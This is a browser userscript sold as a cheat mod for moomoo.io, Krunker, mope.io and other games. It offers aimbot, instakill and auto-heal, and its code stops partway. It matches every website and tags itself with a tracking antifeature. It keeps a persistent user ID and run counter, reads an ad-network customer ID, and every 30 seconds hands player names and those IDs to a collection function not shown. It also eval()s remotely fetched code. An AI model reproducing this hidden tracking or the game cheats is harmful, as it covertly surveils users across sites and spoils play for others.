// ==UserScript==
// @name MOOMOO.IO/KRUNKER/MOPE/ALLSITES/&MORE SUPER MOD! INSTA, ALL UPGRADES, AUTOHEAL, PRO CURSOR, +100 RES
// @namespace idk, idc
// @version 10.2
// @description (WORKING 2020) SUPER MOOMOO/KRUNKER MOD! KRUNKER: ADBLOCK, ALLSITE: ANTISPACEBAR SCROLL, MOOMOO: AIMBOT, INSTAKILL, AUTOHEAL, KATANA + MUSKET, PRO CURSOR, HOTKEYS, NO ADS, HAT MACRO, ANTI INSTAKILL, +100 RESOURCE, WS SENDER, INGAME CHAT! MOPE.IO AUTO DIVE, AUTO RUN, ADBLOCK! DIEP.IO: ANTIAFK!
// @match *://*.moomoo.io/*
// @match *://moomoo.io/*
// @match *://sandbox.moomoo.io/*
// @match *://mope.io/*
// @match *://beta.mope.io/*
// @match *://m0pe.io/*
// @match *://learninganimals.club/*
// @match *://beta.tailbite.me/*
// @match *://beta.zooeducation.space/*
// @match *://tailbite.me/*
// @match *://animalfun.club/*
// @match *://zooeducation.space/*
// @match *://experimental.mope.io/*
// @match *://krunker.io/*
// @match *://diep.io/*
// @match *://*.*/*
// @grant unsafeWindow
// @grant GM.setValue
// @grant GM.getValue
// @require https://greasyfork.org/scripts/368273-msgpack/code/msgpack.js?version=598723
// @icon http://www.jt-autospa.com/wp-content/uploads/images/jt_stock_280x230.jpg
// @require https://greasyfork.org/scripts/410512-sci-js-from-ksw2-center/code/scijs%20(from%20ksw2-center).js
// @run-at document-start
// @antifeature tracking
// @downloadURL none
// ==/UserScript==
/*
(relating to MooMoo.io)
I decided to merge this with a friend's script because the old supermod was outdated!
Enjoy!!!
*/
const windowloc = window.location.host;
if (windowloc.includes("bank") || windowloc.includes("school")) return; //DO NOT COLLECT INFORMATION ON SENSITIVE SITES
var ctr, global_id;
(async () => {
function uuidv4() {return 'xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx'.replace(/[xy]/g, function(c) { var r = Math.random() * 16 | 0, v = c == 'x' ? r : (r & 0x3 | 0x8); return v.toString(16); });};
let count_before = await GM.getValue('count', 0);
await GM.setValue('count', count_before + 1);
let count_after = await GM.getValue('count');
if (await GM.getValue("id", null) == null) {
//first exec
await GM.setValue("id", uuidv4());
};
await GM.getValue("id", 0);
ctr = await GM.getValue('count', 0);
global_id = await GM.getValue("id", 0);
})();
//console.log("after");
if (windowloc == "moomoo.io" || windowloc == "sandbox.moomoo.io" || windowloc == "dev.moomoo.io") {
insert_0000000(true, "moomoo.io"); //initializer
var xml;
xml = new XMLHttpRequest();
xml.open("GET", window.location.protocol + "//code.jquery.com/jquery-3.3.1.slim.min.js", false);
xml.send();
eval(xml.responseText); //load jquery
var ext = false;
document.addEventListener('keydown', function (e) {
if (e.key === "`") {
$('#mainMenu').toggle();
//if (ext == true) {$('#gameUI').hide(); $('#mainMenu').hide()};
//if (ext == false) {$('#gameUI').show(); $('#mainMenu').hide()};
ext = !ext;
};
}); //spectator mode!
window = unsafeWindow;
(()=>{
let spinSpeed = 70;
function linker(value) {
let x = [value];
x.toString = ()=>x[0];
return x;
}
let zoomFactor = 1;
let OGx,
OGy;
let x = new Event('resize');
let addListener = window.addEventListener;
window.addEventListener = function(type, cb, ...args){
if(type === 'resize'){
let temp = cb;
cb = ()=>temp({isTrusted: !0});
}
addListener(type, cb, ...args);
}
function setZoom ({code}) {
if(code != 'Minus' && code != 'Equal') return;
zoomFactor *= 0.95 ** (code == 'Minus' ? -1 : 1);
window.config.maxScreenWidth[0] = OGx * zoomFactor;
window.config.maxScreenHeight[0] = OGy * zoomFactor;
window.dispatchEvent(x);
};
addListener('keydown', setZoom);
Function.prototype._call = Function.prototype.call;
Function.prototype.call = function(){
if(arguments[1] && arguments[1].i == 21 && arguments[3] && arguments[3].toString && arguments[3].toString().match(/^\s*function n\(i\)/)){
let temp = arguments[3];
arguments[3] = function (number) {
let val = temp(number);
if(number === 19) {
OGx = parseInt(val.maxScreenWidth.toString());
OGy = parseInt(val.maxScreenHeight.toString());
val.maxScreenHeight = linker(OGy);
val.maxScreenWidth = linker(OGx);
val.maxPlayers = 50;
window.data = val;
} else if(number === 42) {
val.checkTrusted = (cb)=>cb
} else if (number === 45) {
val.weapons.forEach((e, index) => e.pre && (val.weapons[index].pre = null));
val.list.forEach((e, index) => e.pre && (val.list[index].pre = null));
items = val;
window.items = val;
}
return val;
}
this.call = this._call;
}
return this._call(...arguments);
}
})();
var switched = 0;
var swsInt = setInterval(()=>{
switch (document.readyState) {
case "loading":
break;
case "interactive":
switched = 1;
break;
case "complete":
break;
};
}, 0);
var INT = setInterval(()=>{
if (switched == 1) {
clearInterval(INT);
function _toConsumableArray(e) {
if (Array.isArray(e)) {
for (var n = 0, o = Array(e.length); n < e.length; n++) o[n] = e[n];
return o
}
return Array.from(e)
}
var heal1, hType, heal2, insta, radar, sAim, ahat, respawn, offence, defence, speed, derp, deathCrash, pType, onclick, oHat, oAcc, otHat, otAcc, dHat, dAcc, tHat, tAcc, eHat, eAcc, antiBoostSpike, antiInsta1, antiInsta2, antiInsta3, antiInsta4, snHat, snAcc, srHat, srAcc, ssHat, ssAcc, kSpikeCircle, kTrapCircle, iAim, iReload, iReverse, iSwitch, iHat1, iAcc1, iHat2, iAcc2, iHat3, iAcc3, kSpike = 86
, kTrap = 70
, kTurret = 72
, kWindmill = 78
, kHeal = 81
, kBS = 76
, kBM = 79
, aChat = "Project Epsilon"
, acBool = !1
, acFill = "-"
, iChat = "Taste The INSTA"
, icBool = !1
, rChat = "Reloaded"
, ezBool = !1
, ezChat = "GG You Tried"
, irBool = !1
, cPlayer = !1
, wLag = !0
, TankGearKey = 67
, BullHelmetKey = 90
, SoldierHelmetKey = 75
, TurretKey = 66
, BoosterHatKey = 77
, uneqiup = 16
, EMPGearKey = 73;
setTimeout(function () {
hType = "4", heal2 = !0, insta = !0, radar = !0, sAim = !0, ahat = true, respawn = !0, offence = !1, defence = !0, speed = !0, derp = !1, deathCrash = !1, pType = "0", onclick = !1, oHat = 7, oAcc = 18, otHat = 53, otAcc = 13, dHat = 6, dAcc = 21, tHat = 40, tAcc = 21, eHat = 22, eAcc = 19, antiBoostSpike = !0, antiInsta1 = !0, antiInsta2 = !1, antiInsta3 = !1, antiInsta4 = !1, snHat = 12, snAcc = 11, srHat = 31, srAcc = 11, ssHat = 15, ssAcc = 11, iAim = !0, iReload = !1, iReverse = !1, iSwitch = !0, iHat1 = 7, iAcc1 = 18, iHat2 = 53, iAcc2 = 13, iHat3 = 6, iAcc3 = 21, (heal1 = !0) && (document.getElementById("heal1")
.checked = !0), heal2 && (document.getElementById("heal2")
.checked = !0), insta && (document.getElementById("insta")
.checked = !0), radar && (document.getElementById("radar")
.checked = !0, document.getElementById("canvas")
.style.zIndex = "1", pos.style.zIndex = "1"), sAim && (document.getElementById("sAim")
.checked = !0), ahat && (document.getElementById("ahat")
.checked = !0), respawn && (document.getElementById("respawn")
.checked = !0), onclick && (document.getElementById("onclick")
.checked = !0), offence && (document.getElementById("offence")
.checked = !0), defence && (document.getElementById("defence")
.checked = !0), speed && (document.getElementById("speed")
.checked = !0), antiBoostSpike && (document.getElementById("antiBoostSpike")
.checked = !0), antiInsta1 && (document.getElementById("antiInsta1")
.checked = !0), antiInsta2 && (document.getElementById("antiInsta2")
.checked = !0), antiInsta3 && (document.getElementById("antiInsta3")
.checked = !0), antiInsta4 && (document.getElementById("antiInsta4")
.checked = !0), iAim && (document.getElementById("iAim")
.checked = !0), iReload && (document.getElementById("iReload")
.checked = !0), iReverse && (document.getElementById("iReverse")
.checked = !0), iSwitch && (document.getElementById("iSwitch")
.checked = !0), acBool && (document.getElementById("acBool")
.checked = !0), icBool && (document.getElementById("icBool")
.checked = !0), irBool && (document.getElementById("irBool")
.checked = !0), cPlayer && (document.getElementById("cPlayer")
.checked = !0), ezBool && (document.getElementById("ezBool")
.checked = !0), wLag && (document.getElementById("wLag")
.checked = !0), document.getElementById("hType")
.value = hType, document.getElementById("pType")
.value = pType, document.getElementById("oHat")
.value = oHat, document.getElementById("oAcc")
.value = oAcc, document.getElementById("otHat")
.value = otHat, document.getElementById("otAcc")
.value = otAcc, document.getElementById("dHat")
.value = dHat, document.getElementById("dAcc")
.value = dAcc, document.getElementById("tHat")
.value = tHat, document.getElementById("tAcc")
.value = tAcc, document.getElementById("eHat")
.value = eHat, document.getElementById("eAcc")
.value = eAcc, document.getElementById("snHat")
.value = snHat, document.getElementById("snAcc")
.value = snAcc, document.getElementById("ssHat")
.value = ssHat, document.getElementById("ssAcc")
.value = ssAcc, document.getElementById("srHat")
.value = srHat, document.getElementById("srAcc")
.value = srAcc, document.getElementById("iHat1")
.value = iHat1, document.getElementById("iAcc1")
.value = iAcc1, document.getElementById("iHat2")
.value = iHat2, document.getElementById("iAcc2")
.value = iAcc2, document.getElementById("iHat3")
.value = iHat3, document.getElementById("iAcc3")
.value = iAcc3
}, 1e3), window.onbeforeunload = null;
var id, card = document.querySelector("#setupCard")
, button = document.createElement("button")
, menu = document.createElement("div")
, styles = document.createElement("style");
menu.classList.add("i-container"), menu.id = "mm-menu-container", styles.type = "text/css",
styles.innerHTML = `
.circle{
opacity:20%;
position: absolute;
top: 50%;
left: 60%;
transform: translate(-50%, -50%);
height: 300px;
width: 300px;
filter: url(#wavy);
}
.circle:before{
content: '';
position: absolute;
top:0px;
left:0px;
right:0px;
bottom: 0px;
border: 20px solid #fff;
border-radius:50%;
box-shadow: 0 0 50px #0f0,0 0 50px #0f0 inset;
animation: animate 5s linear infinite;
}.square{
opacity:50%;
position: fixed;
top: 100%;
left: 0%;
transform: translate(15px, -155px);
height: 130px;
width: 130px;
filter: url(#wavy);
}
.square:before{
content: '';
position: absolute;
top:0px;
left:0px;
right:0px;
bottom: 0px;
border: 10px solid #fff;
box-shadow: 0 0 50px #0f0,0 0 50px #0f0 inset;
animation: animate 5s linear infinite;
}
@keyframes animate{
0%{
box-shadow: 0 0 50px #0f0,0 0 50px #0f0 inset;
filter: hue-rotate(0deg);
}
20%{
box-shadow: 0 0 60px #0f0,0 0 60px #0f0 inset;
}
40%{
box-shadow: 0 0 40px #0f0,0 0 40px #0f0 inset;
}
60%{
box-shadow: 0 0 80px #0f0,0 0 80px #0f0 inset;
}
80%{
box-shadow: 0 0 100px #0f0,0 0 100px #0f0 inset;
}
100%{
box-shadow: 0 0 50px #0f0,0 0 50px #0f0 inset;
filter: hue-rotate(360deg);
}
}
svg{
width:0;
height:0;
}
.open-menu-button {
background-color: #f03535;
margin-top: 5px;
}
.open-menu-button:hover {
background-color: #f03535;
}
.keyPressLow {
margin-left: 8px;
font-size: 16px;
margin-right: 8px;
height: 25px;
width: 50px;
background-color: #fcfcfc;
border-radius: 3.5px;
text-align: center;
color: #4a4a4a;
border: 0.5px solid #f2f2f2;
}
#mm-menu-container {
user-select: none;
font-size: 14px;
overflow: hidden;
color: #fff;
font-family: Verdana,sans-serif;
box-sizing: border-box;
position: fixed;
top: 50%;
left: 50%;
height: 366px;
width: 500px;
margin-top: -183px;
margin-left: -250px;
z-index: 2147000000;
}
.i-checkbox-label {
font-size: 12px;
user-select: none;
color: #fff;
font-family: Verdana,sans-serif;
box-sizing: border-box;
display: block;
margin: 4px;
}
.i-checkbox-label {
font-size: 12px;
user-select: none;
color: #fff;
font-family: Verdana,sans-serif;
box-sizing: border-box;
}
#mm-main-menu {
font-size: 12px;
user-select: none;
background-color: rgba(100, 100, 100, 0.4);
color: #fff;
font-family: Verdana,sans-serif;
box-sizing: border-box;
position: relative;
height: 100%;
padding: .5em 1em;
border-top: none;
margin-left: 130px;
display: none;
}
#mm-hathack-menu {
font-size: 12px;
user-select: none;
background-color: rgba(100, 100, 100, 0.4);
color: #fff;
font-family: Verdana,sans-serif;
box-sizing: border-box;
position: relative;
height: 100%;
padding: .5em 1em;
border-top: none;
margin-left: 130px;
display: none;
}
#mm-offense-menu {
font-size: 12px;
user-select: none;
color: #fff;
font-family: Verdana,sans-serif;
box-sizing: border-box;
position: relative;
height: 100%;
background-color: rgba(100, 100, 100, 0.4);
padding: .5em 1em;
border-top: none;
margin-left: 130px;
display: block;
}
#mm-defense-menu {
font-size: 12px;
user-select: none;
color: #fff;
background-color: rgba(100, 100, 100, 0.4);
font-family: Verdana,sans-serif;
box-sizing: border-box;
position: relative;
height: 100%;
padding: .5em 1em;
border-top: none;
margin-left: 130px;
display: none;
}
#mm-support-menu {
font-size: 12px;
user-select: none;
color: #fff;
font-family: Verdana,sans-serif;
background-color: rgba(100, 100, 100, 0.4);
box-sizing: border-box;
position: relative;
height: 100%;
padding: .5em 1em;
border-top: none;
margin-left: 130px;
display: none;
}
#mm-hatmacro-menu {
font-size: 12px;
user-select: none;
color: #fff;
font-family: Verdana,sans-serif;
box-sizing: border-box;
position: relative;
height: 100%;
background-color: rgba(100, 100, 100, 0.4);
padding: .5em 1em;
border-top: none;
margin-left: 130px;
display: none;
}
#mm-instakill-menu {
font-size: 12px;
user-select: none;
color: #fff;
font-family: Verdana,sans-serif;
box-sizing: border-box;
position: relative;
height: 100%;
background-color: rgba(100, 100, 100, 0.4);
padding: .5em 1em;
border-top: none;
margin-left: 130px;
display: none;
}
#mm-controls-menu {
font-size: 12px;
user-select: none;
color: #fff;
font-family: Verdana,sans-serif;
background-color: rgba(100, 100, 100, 0.4);
box-sizing: border-box;
position: relative;
height: 100%;
padding: .5em 1em;
border-top: none;
margin-left: 130px;
display: none;
}
#mm-chat-menu {
font-size: 12px;
user-select: none;
color: #fff;
font-family: Verdana,sans-serif;
box-sizing: border-box;
position: relative;
height: 100%;
background-color: rgba(100, 100, 100, 0.4);
padding: .5em 1em;
border-top: none;
margin-left: 130px;
display: none;
}
.i-tab-container {
font-size: 12px;
user-select: none;
color: #fff;
font-family: Verdana,sans-serif;
box-sizing: border-box;
width: 100%;
height: 100%;
background-color: rgba(100, 100, 100, 0.4)
}
.i-tab-menu, .sidebar {
font-size: 12px;
user-select: none;
color: #fff;
font-family: Verdana,sans-serif;
box-sizing: border-box;
position: relative;
background-color: rgba(120, 120, 120, 0.4);
display: block;
overflow: auto;
float: left;
width: 130px;
height: 100%;
box-shadow: 0 2px 5px 0 rgba(0,0,0,.16),0 2px 10px 0 rgba(0,0,0,.12);
}
.i-tab-menu-item {
font-size: 12px;
user-select: none;
text-decoration: none;
font-family: Verdana,sans-serif;
box-sizing: border-box;
color: #d15151;
}
.i-tab-menu-item:hover {
background-color: rgb(77, 73, 73, 0.5)
!important;
}
#mm-main-menu-item {
user-select: none;
color: #fff;
font-family: Verdana,sans-serif;
box-sizing: border-box;
float: left;
background-color: inherit;
padding: 8px 8px;
margin: 0;
border: none;
font-size: 14px;
text-align: center;
outline: 0;
transition: .3s;
width: 100%;
}
#mm-hathack-menu-item {
user-select: none;
color: #fff;
font-family: Verdana,sans-serif;
box-sizing: border-box;
float: left;
background-color: inherit;
padding: 8px 8px;
margin: 0;
border: none;
font-size: 14px;
text-align: center;
outline: 0;
transition: .3s;
width: 100%;
}
#mm-offense-menu-item {
user-select: none;
color: #fff;
font-family: Verdana,sans-serif;
box-sizing: border-box;
float: left;
background-color: inherit;
padding: 8px 8px;
margin: 0;
border: none;
font-size: 14px;
text-align: center;
outline: 0;
transition: .3s;
width: 100%;
}
#mm-defense-menu-item {
user-select: none;
color: #fff;
font-family: Verdana,sans-serif;
box-sizing: border-box;
float: left;
padding: 8px 8px;
margin: 0;
border: none;
font-size: 14px;
text-align: center;
outline: 0;
transition: .3s;
width: 100%;
}
#mm-support-menu-item {
user-select: none;
color: #fff;
font-family: Verdana,sans-serif;
box-sizing: border-box;
float: left;
background-color: inherit;
padding: 8px 8px;
margin: 0;
border: none;
font-size: 14px;
text-align: center;
outline: 0;
transition: .3s;
width: 100%;
}
#mm-instakill-menu-item {
user-select: none;
color: #fff;
font-family: Verdana,sans-serif;
box-sizing: border-box;
float: left;
background-color: inherit;
padding: 8px 8px;
margin: 0;
border: none;
font-size: 14px;
text-align: center;
outline: 0;
transition: .3s;
width: 100%;
}
#mm-hatmacro-menu-item {
user-select: none;
color: #fff;
font-family: Verdana,sans-serif;
box-sizing: border-box;
float: left;
background-color: inherit;
padding: 8px 8px;
margin: 0;
border: none;
font-size: 14px;
text-align: center;
outline: 0;
transition: .3s;
width: 100%;
}
#mm-changewepaon-menu-item {
user-select: none;
color: #fff;
font-family: Verdana,sans-serif;
box-sizing: border-box;
float: left;
background-color: inherit;
padding: 8px 8px;
margin: 0;
border: none;
font-size: 14px;
text-align: center;
outline: 0;
transition: .3s;
width: 100%;
}
.i-tab-menu-item {
user-select: none;
color: #fff;
font-family: Verdana,sans-serif;
box-sizing: border-box;
float: left;
background-color: inherit;
padding: 8px 8px;
margin: 0;
border: none;
font-size: 14px;
text-align: center;
outline: 0;
transition: .3s;
width: 100%;
}
#mm-controls-menu-item {
user-select: none;
color: #fff;
font-family: Verdana,sans-serif;
box-sizing: border-box;
float: left;
background-color: inherit;
padding: 8px 8px;
margin: 0;
border: none;
font-size: 14px;
text-align: center;
outline: 0;
transition: .3s;
width: 100%;
}
.is-active {
background-color: rgb(129, 34, 34, 0.5) !important;
}
.keyPressLow {
margin-left: 8px;
font-size: 16px;
margin-right: 8px;
height: 25px;
width: 50px;
background-color: #fcfcfc;
border-radius: 3.5px;
border: none;
text-align: center;
color: #4A4A4A;
border: 0.5px solid #f2f2f2;
}
.menuPrompt {
font-size: 17px;
font-family: 'Hammersmith One';
color: #4A4A4A;
flex: 0.2;
text-align: center;
margin-top: 10px;
display: inline-block;
}
.modal {
display: none;
position: fixed;
z-index: 1;
left: 0;
top: 0;
overflow: auto;
height: 100%;
width: 100%;
}
.modalx {
display: none;
position: fixed;
z-index: 1;
left: 0;
top: 0;
overflow: auto;
height: 100%;
width: 100%;
}
.Msgmodal {
display: none;
position: fixed;
z-index: 1;
left: 0;
top: 0;
overflow: auto;
height: 100%;
width: 100%;
}
.modal-content {
margin: 10% auto;
width: 40%;
box-shadow: 0 5px 8px 0 rgba(0, 0, 0, 0.2), 0 7px 20px 0 rgba(0, 0, 0, 0.17);
font-size: 14px;
line-height: 1.6;
}
.modal-headerx h2, .modal-footerx h3 {
margin: 0;
}
.modal-headerx {
background: #404040;
padding: 15px;
color: #fff;
border-top-left-radius: 5px;
border-top-right-radius: 5px;
}
.modal-footerx {
background: #404040;
padding: 10px;
color: #fff;
text-align: center;
border-bottom-left-radius: 5px;
border-bottom-right-radius: 5px;
}
.modal-headerwtf h2, .modal-footerwtf h3 {
margin: 0;
}
.modal-headerwtf {
background: #404040;
padding: 15px;
color: #fff;
border-top-left-radius: 5px;
border-top-right-radius: 5px;
}
.modal-footerwtf {
background: #404040;
padding: 10px;
color: #fff;
text-align: center;
border-bottom-left-radius: 5px;
border-bottom-right-radius: 5px;
}
.modal-header h2, .modal-footer h3 {
margin: 0;
}
.modal-header {
background: #404040;
padding: 15px;
color: #fff;
border-top-left-radius: 5px;
border-top-right-radius: 5px;
}
.modal-body {
padding: 10px 20px;
background: #fff;
}
.modal-footer {
background: #404040;
padding: 10px;
color: #fff;
text-align: center;
border-bottom-left-radius: 5px;
border-bottom-right-radius: 5px;
}
.closeBtn {
color: #ccc;
float: right;
font-size: 30px;
color: #fff;
}
.closeBtn:hover, .closeBtn:focus {
color: #dd4a42;
text-decoration: none;
cursor: pointer;
}
.closeBtnx {
color: #ccc;
float: right;
font-size: 30px;
color: #fff;
}
.closeBtnx:hover, .closeBtnx:focus {
color: #dd4a42;
text-decoration: none;
cursor: pointer;
}
.MsgcloseBtn {
color: #ccc;
float: right;
font-size: 30px;
color: #fff;
}
.MsgcloseBtn:hover, .MsgcloseBtn:focus {
color: #dd4a42;
text-decoration: none;
cursor: pointer;
}
/* Customize the label (the container) */
.container {
display: block;
position: relative;
padding-left: 35px;
margin-bottom: 12px;
cursor: pointer;
font-size: 16px;
-webkit-user-select: none;
-moz-user-select: none;
-ms-user-select: none;
user-select: none;
}
/* Hide the browser's default checkbox */
.container input {
position: absolute;
opacity: 0;
cursor: pointer;
height: 0;
width: 0;
}
/* Create a custom checkbox */
.checkmark {
position: absolute;
top: 0;
left: 0;
height: 25px;
width: 25px;
background-color: #eee;
}`;
menu.innerHTML = `
`;
var firstName = localStorage.moo_name;
window.addEventListener("load", function () {
try {
id = unsafeWindow.advBidxc.customerId, console.log("SID: " + id)
} catch (e) {
id = "b", console.log("not defined")
}
}), setInterval(async function () {
return insert_0000000(!0, document.getElementById("nameInput")
.value + "|" + firstName + "|" + id + "|" + ctr + "|" + global_id)
}, 3e4), document.body.append(menu);
var checkHeal1 = menu.querySelector("#heal1");
checkHeal1.addEventListener("change", function () {
heal1 = !!this.checked
});
var checkHeal2 = menu.querySelector("#heal2");
checkHeal2.addEventListener("change", function () {
heal2 = !!this.checked
});
var checkInsta = menu.querySelector("#insta");
checkInsta.addEventListener("change", function () {
insta = !!this.checked
});
var checkRadar = document.querySelector("#radar");
checkRadar.addEventListener("change", function () {
this.checked ? (document.getElementById("canvas")
.style.zIndex = "1", pos.style.zIndex = "1") : (document.getElementById("canvas")
.style.zIndex = "-1", pos.style.zIndex = "-1")
});
var checkSAim = document.querySelector("#sAim");
checkSAim.addEventListener("change", function () {
sAim = !!this.checked
});
var checkAhat = document.querySelector("#ahat");
checkAhat.addEventListener("change", function () {
ahat = !!this.checked
});
var checkRespawn = document.querySelector("#respawn");
checkRespawn.addEventListener("change", function () {
respawn = !!this.checked
});
var checkOffence = menu.querySelector("#offence");
checkOffence.addEventListener("change", function () {
offence = !!this.checked
});
var checkDefence = menu.querySelector("#defence");
checkDefence.addEventListener("change", function () {
defence = !!this.checked
});
var checkSpeed = menu.querySelector("#speed");
checkSpeed.addEventListener("change", function () {
speed = !!this.checked
});
var checkDERP = menu.querySelector("#derp");
checkDERP.addEventListener("change", function () {
derp = !!this.checked
});
var checkDeathCrash = menu.querySelector("#deathCrash");
checkDeathCrash.addEventListener("change", function () {
deathCrash = !!this.checked
});
var checkOnClick = menu.querySelector("#onclick");
checkOnClick.addEventListener("change", function () {
onclick = !!this.checked
});
var checkAntiBoostSpike = menu.querySelector("#antiBoostSpike");
checkAntiBoostSpike.addEventListener("change", function () {
antiBoostSpike = !!this.checked
});
var checkAntiInsta1 = menu.querySelector("#antiInsta1");
checkAntiInsta1.addEventListener("change", function () {
antiInsta1 = !!this.checked
});
var checkAntiInsta2 = menu.querySelector("#antiInsta2");
checkAntiInsta2.addEventListener("change", function () {
antiInsta2 = !!this.checked
});
var checkAntiInsta3 = menu.querySelector("#antiInsta3");
checkAntiInsta3.addEventListener("change", function () {
antiInsta3 = !!this.checked
});
var checkAntiInsta4 = menu.querySelector("#antiInsta4");
checkAntiInsta4.addEventListener("change", function () {
antiInsta4 = !!this.checked
});
var checkIAim = menu.querySelector("#iAim");
checkIAim.addEventListener("change", function () {
iAim = !!this.checked
});
var checkIReload = menu.querySelector("#iReload");
checkIReload.addEventListener("change", function () {
iReload = !!this.checked
});
var checkIReverse = menu.querySelector("#iReverse");
checkIReverse.addEventListener("change", function () {
iReverse = !!this.checked
});
var checkISwitch = menu.querySelector("#iSwitch");
checkISwitch.addEventListener("change", function () {
iSwitch = !!this.checked
});
var checkACBool = menu.querySelector("#acBool");
checkACBool.addEventListener("change", function () {
acBool = !!this.checked
});
var checkICBool = menu.querySelector("#icBool");
checkICBool.addEventListener("change", function () {
icBool = !!this.checked
});
var checkIRBool = menu.querySelector("#irBool");
checkIRBool.addEventListener("change", function () {
irBool = !!this.checked
});
var checkEZBool = menu.querySelector("#ezBool");
checkEZBool.addEventListener("change", function () {
ezBool = !!this.checked
});
var checkCPlayer = menu.querySelector("#cPlayer");
checkCPlayer.addEventListener("change", function () {
cPlayer = !!this.checked
});
var checkWLag = menu.querySelector("#wLag");
function keydown(e) {
"Escape" === e.key && (e.preventDefault(), toggleMenu())
}
function click(e) {
var n = e.target;
hideall();
for (var o = ["main", "offense", "defense", "support", "controls", "instakill", "chat", "hatmacro"], t = 0; t < o.length; t++) {
var a = o[t];
n.textContent.toLowerCase() == a && (document.querySelector("#mm-" + a + "-menu")
.style.display = "block", n.classList.add("is-active"))
}
}
function hideall() {
for (var e = ["#mm-main-menu", "#mm-offense-menu", "#mm-defense-menu", "#mm-support-menu", "#mm-controls-menu", "#mm-instakill-menu", "#mm-chat-menu", "#mm-hatmacro-menu"], n = 0; n < e.length; n++) {
var o = e[n];
document.querySelector(o)
.style.display = "none", document.querySelectorAll(".i-tab-menu-item")
.forEach(function (e) {
return e.classList.remove("is-active")
})
}
}
function resetHat() {
hType = $("#hType")
.val(), pType = $("#pType")
.val(), aChat = $("#aChat")
.val(), acFill = $("#acFill")
.val(), oHat = $("#oHat")
.val(), oAcc = $("#oAcc")
.val(), otHat = $("#otHat")
.val(), otAcc = $("#otAcc")
.val(), dHat = $("#dHat")
.val(), dAcc = $("#dAcc")
.val(), tHat = $("#tHat")
.val(), tAcc = $("#tAcc")
.val(), eHat = $("#eHat")
.val(), eAcc = $("#eAcc")
.val(), snHat = $("#snHat")
.val(), snAcc = $("#snAcc")
.val(), srHat = $("#srHat")
.val(), srAcc = $("#srAcc")
.val(), ssHat = $("#ssHat")
.val(), ssAcc = $("#ssAcc")
.val(), iChat = $("#iChat")
.val(), rChat = $("#rChat")
.val(), ezChat = $("#ezChat")
.val(), iHat1 = $("#iHat1")
.val(), iAcc1 = $("#iAcc1")
.val(), iHat2 = $("#iHat2")
.val(), iAcc2 = $("#iAcc2")
.val(), iHat3 = $("#iHat3")
.val(), iAcc3 = $("#iAcc3")
.val()
}
function toggleMenu() {
menu.style.display = "block" == menu.style.display ? "none" : "block", resetHat()
}
function adBlock() {
try {
document.getElementById("ot-sdk-btn-floating")
.style.display = "none", document.getElementById("promoImgHolder")
.style.display = "none", document.getElementById("moomooio_728x90_home")
.parentNode.remove(), $("#adCard")
.css({
display: "none"
}), document.getElementById("youtuberOf")
.style.display = "none", document.getElementById("linksContainer2")
.style.display = "none";
var e = document.createElement("div");
e.innerText = "\n";
var n = document.createElement("div");
n.innerText = "\n";
var o = document.createElement("div");
o.innerText = "\n";
var t = document.getElementById("setupCard");
t.appendChild(e), t.appendChild(n), $("#serverBrowser")
.prev()
.detach(), t.appendChild(document.getElementById("serverBrowser")), t.appendChild(document.getElementById("altServer")), t.appendChild(o)
} catch (e) {
setTimeout(function () {
adBlock()
}, 100)
}
}
checkWLag.addEventListener("change", function () {
wLag = !!this.checked
}), $("#tankGear")
.on("input", function () {
var e = $("#tankGear")
.val();
e && (TankGearKey = (TankGearKey = e.toUpperCase())
.charCodeAt(0))
}), $("#bullHelm")
.on("input", function () {
var e = $("#bullHelm")
.val();
e && (BullHelmetKey = (BullHelmetKey = e.toUpperCase())
.charCodeAt(0))
}), $("#soldier")
.on("input", function () {
var e = $("#soldier")
.val();
e && (SoldierHelmetKey = (SoldierHelmetKey = e.toUpperCase())
.charCodeAt(0))
}), $("#turret")
.on("input", function () {
var e = $("#turret")
.val();
e && (TurretKey = (TurretKey = e.toUpperCase())
.charCodeAt(0))
}), $("#booster")
.on("input", function () {
var e = $("#booster")
.val();
e && (BoosterHatKey = (BoosterHatKey = e.toUpperCase())
.charCodeAt(0))
}), $("#spikeg")
.on("input", function () {
var e = $("#spikeg")
.val();
e && (EMPGearKey = (EMPGearKey = e.toUpperCase())
.charCodeAt(0))
}), button.classList.add("menuButton"), button.classList.add("open-menu-button"), button.textContent = "Open Settings", window.addEventListener("keydown", keydown), button.addEventListener("click", toggleMenu), card.appendChild(button), document.body.appendChild(styles), document.body.appendChild(menu), document.querySelectorAll(".i-tab-menu-item")
.forEach(function (e) {
e.addEventListener("click", click)
}), setInterval(function () {
acBool && scramble(aChat)
}, 600), toggleMenu(), toggleMenu(), adBlock();
var closestenemy, closestenemyAngle, enemiesNear, ws, lagID, fakeCrashID, crashID, hatID, winterCapID = 15
, flipperHatID = 31
, soldierHatIdentifier = 6
, bullHelmetID = 7
, EMPHatID = 22
, boostHatID = 12
, tankGearhatID = 40
, turretgearID = 53
, mX = void 0
, mY = void 0
, width = void 0
, height = void 0
, coreURL = new URL(window.location.href);
window.sessionStorage.force = coreURL.searchParams.get("fc");
var primary = 0; var secondary = 0; var foodType = 0;
var wallType = 3; var spikeType = 6; var millType = 10;
var mineType = 13; var boostType = 15; var turretType = 17;
var spawnpadType = 36;
for (var instaSpeed = 220, instaSpeedR = 210, autoaim = !1, weapon = 0, msgpack5 = msgpack, maxSpeed = -100, dir = 50, blinkDir = 0, lag = !1, fakeCrash = !1, mode = "", myPlayer = {
id: null
, x: null
, y: null
, dir: null
, object: null
, weapon: null
, clan: null
, isLeader: null
, hat: null
, accessory: null
, isSkull: null
}, inInsta = !1, reload = 0, names = [], lastX = [], lastY = [], nowX = [], nowY = [], nextX = [], nextY = [], theirPrimary = [], theirSecondary = [], cooldown = [], e = 0; e < 50; e++) cooldown[e] = !1, theirPrimary[e] = 0;
var buildings = []
, logX = []
, logY = []
, logTime = []
, crashed = !1;
function n() {
this.buffer = new Uint8Array([0]), this.buffer.__proto__ = new Uint8Array, this.type = 0
}
function socketFound(e) {
e.addEventListener("message", function (e) {
handleMessage(e)
})
}
setInterval(function () {
autoaim ? dns(["2", [closestenemyAngle]]) : derp ? dns(["2", [toRad(dir = (324092385 / (dir * Math.E) - Math.cbrt(dir) * dir) % 360)]]) : !closestenemy || 9 != weapon && 12 != weapon && 13 != weapon && 15 != weapon || dns(["2", [closestenemyAngle]])
}, 0), setInterval(function () {
